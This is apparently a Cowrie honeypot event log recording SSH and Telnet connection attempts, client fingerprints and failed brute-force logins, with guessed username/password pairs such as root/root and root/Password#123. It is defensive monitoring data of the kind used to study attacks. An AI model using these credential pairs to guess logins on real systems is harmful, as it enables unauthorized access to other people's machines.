{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:27.851739Z","src_ip":"165.154.6.69","session":"07348178608f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.89492964744568,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:27.885969Z","src_ip":"104.245.105.2","session":"53c025152411","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:28.067401Z","src_ip":"165.154.6.69","session":"07348178608f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Mt123456!","message":"login attempt [root/Mt123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:28.958523Z","src_ip":"165.154.6.69","session":"07348178608f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:30.177634Z","src_ip":"165.154.6.69","session":"07348178608f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":40670,"dst_ip":"10.17.0.5","dst_port":23,"session":"e39d58086cb5","protocol":"telnet","message":"New connection: 104.245.105.2:40670 (10.17.0.5:23) [session: e39d58086cb5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:33.298221Z"}
{"eventid":"cowrie.session.closed","duration":31.911534547805786,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:39.545027Z","src_ip":"104.245.105.2","session":"b58c656882de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54224,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c20cf618b68","protocol":"telnet","message":"New connection: 104.245.105.2:54224 (10.17.0.5:23) [session: 7c20cf618b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:40.979763Z"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":54236,"dst_ip":"10.17.0.5","dst_port":23,"session":"51a64a8d025e","protocol":"telnet","message":"New connection: 104.245.105.2:54236 (10.17.0.5:23) [session: 51a64a8d025e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:44.865047Z"}
{"eventid":"cowrie.session.closed","duration":49.12196350097656,"message":"Connection lost after 49 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:53.990206Z","src_ip":"104.245.105.2","session":"5f5c24248490","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":41.60907173156738,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:02:56.595056Z","src_ip":"104.245.105.2","session":"b0e356a19d7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":41790,"dst_ip":"10.17.0.5","dst_port":22,"session":"1af0ed90b491","protocol":"ssh","message":"New connection: 96.78.175.36:41790 (10.17.0.5:22) [session: 1af0ed90b491]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:07.353469Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:07.361235Z","src_ip":"96.78.175.36","session":"1af0ed90b491","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:07.451238Z","src_ip":"96.78.175.36","session":"1af0ed90b491","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Password#123","message":"login attempt [root/Password#123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:07.805359Z","src_ip":"96.78.175.36","session":"1af0ed90b491","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":35.398170948028564,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:08.696288Z","src_ip":"104.245.105.2","session":"e39d58086cb5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:08.898627Z","src_ip":"96.78.175.36","session":"1af0ed90b491","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"88.205.172.170","src_port":52698,"dst_ip":"10.17.0.5","dst_port":22,"session":"6bf568ec35e9","protocol":"ssh","message":"New connection: 88.205.172.170:52698 (10.17.0.5:22) [session: 6bf568ec35e9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:10.908897Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:10.913881Z","src_ip":"88.205.172.170","session":"6bf568ec35e9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:11.078780Z","src_ip":"88.205.172.170","session":"6bf568ec35e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"asdfg12345","message":"login attempt [ubuntu/asdfg12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:11.765547Z","src_ip":"88.205.172.170","session":"6bf568ec35e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.8056697845459,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:11.785315Z","src_ip":"104.245.105.2","session":"7c20cf618b68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"104.245.105.2","src_port":50036,"dst_ip":"10.17.0.5","dst_port":23,"session":"559efe7bb617","protocol":"telnet","message":"New connection: 104.245.105.2:50036 (10.17.0.5:23) [session: 559efe7bb617]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:12.317801Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:12.934617Z","src_ip":"88.205.172.170","session":"6bf568ec35e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"165.154.6.69","src_port":38198,"dst_ip":"159.203.135.109","dst_port":22,"session":"70d316a64a82","protocol":"ssh","message":"New connection: 165.154.6.69:38198 (159.203.135.109:22) [session: 70d316a64a82]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:23.825501Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:23.832112Z","src_ip":"165.154.6.69","session":"70d316a64a82","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:24.045882Z","src_ip":"165.154.6.69","session":"70d316a64a82","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123///","message":"login attempt [root/abc123///] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:24.932754Z","src_ip":"165.154.6.69","session":"70d316a64a82","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:26.150510Z","src_ip":"165.154.6.69","session":"70d316a64a82","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.99.6.166","src_port":15357,"dst_ip":"159.203.135.109","dst_port":22,"session":"c9835fed034e","protocol":"ssh","message":"New connection: 101.99.6.166:15357 (159.203.135.109:22) [session: c9835fed034e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:26.160229Z"}
{"eventid":"cowrie.session.closed","duration":"0.5","message":"Connection lost after 0.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:26.691448Z","src_ip":"101.99.6.166","session":"c9835fed034e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"101.99.6.166","src_port":15423,"dst_ip":"159.203.135.109","dst_port":22,"session":"efa5d8f1c1ff","protocol":"ssh","message":"New connection: 101.99.6.166:15423 (159.203.135.109:22) [session: efa5d8f1c1ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:27.204262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Renci.SshNet.SshClient.0.0.1","message":"Remote SSH version: SSH-2.0-Renci.SshNet.SshClient.0.0.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:27.210273Z","src_ip":"101.99.6.166","session":"efa5d8f1c1ff","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"748f8c627d3f8ff9921d02f86f55ba2c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,aes192-cbc,aes256-cbc,3des-cbc,blowfish-cbc,twofish-cbc,twofish192-cbc,twofish128-cbc,twofish256-cbc,arcfour,arcfour128,arcfour256,cast128-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha2-512-96,hmac-sha2-256-96,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-md5-96-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","aes192-cbc","aes256-cbc","3des-cbc","blowfish-cbc","twofish-cbc","twofish192-cbc","twofish128-cbc","twofish256-cbc","arcfour","arcfour128","arcfour256","cast128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha2-512-96","hmac-sha2-256-96","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com","hmac-md5-96-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 748f8c627d3f8ff9921d02f86f55ba2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:27.728911Z","src_ip":"101.99.6.166","session":"efa5d8f1c1ff","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root","message":"login attempt [root/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:29.275149Z","src_ip":"101.99.6.166","session":"efa5d8f1c1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:30.792705Z","src_ip":"101.99.6.166","session":"efa5d8f1c1ff","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.43652081489563,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:32.301440Z","src_ip":"104.245.105.2","session":"51a64a8d025e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.459646701812744,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:43.777304Z","src_ip":"104.245.105.2","session":"559efe7bb617","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.53.68","src_port":45228,"dst_ip":"159.203.135.109","dst_port":23,"session":"96abd09f61ef","protocol":"telnet","message":"New connection: 161.132.53.68:45228 (159.203.135.109:23) [session: 96abd09f61ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:03:50.822418Z"}
{"eventid":"cowrie.session.connect","src_ip":"96.78.175.36","src_port":55444,"dst_ip":"10.17.0.5","dst_port":22,"session":"3c267923ba35","protocol":"ssh","message":"New connection: 96.78.175.36:55444 (10.17.0.5:22) [session: 3c267923ba35]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:00.097344Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:00.108785Z","src_ip":"96.78.175.36","session":"3c267923ba35","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:00.210092Z","src_ip":"96.78.175.36","session":"3c267923ba35","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asd369","message":"login attempt [root/asd369] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:00.606805Z","src_ip":"96.78.175.36","session":"3c267923ba35","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:01.704377Z","src_ip":"96.78.175.36","session":"3c267923ba35","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.10.147","src_port":63526,"dst_ip":"10.17.0.5","dst_port":22,"session":"670e64734202","protocol":"ssh","message":"New connection: 45.148.10.147:63526 (10.17.0.5:22) [session: 670e64734202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:08.477466Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PUTTY","message":"Remote SSH version: SSH-2.0-PUTTY","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T07:04:08.481616Z","src_ip":"45.148.10.147","session":"670e64734202","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"5bd26477da5440a6187bd3f1b39a429c","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","rsa-sha2-512-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","ssh-rsa","ssh-rsa-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 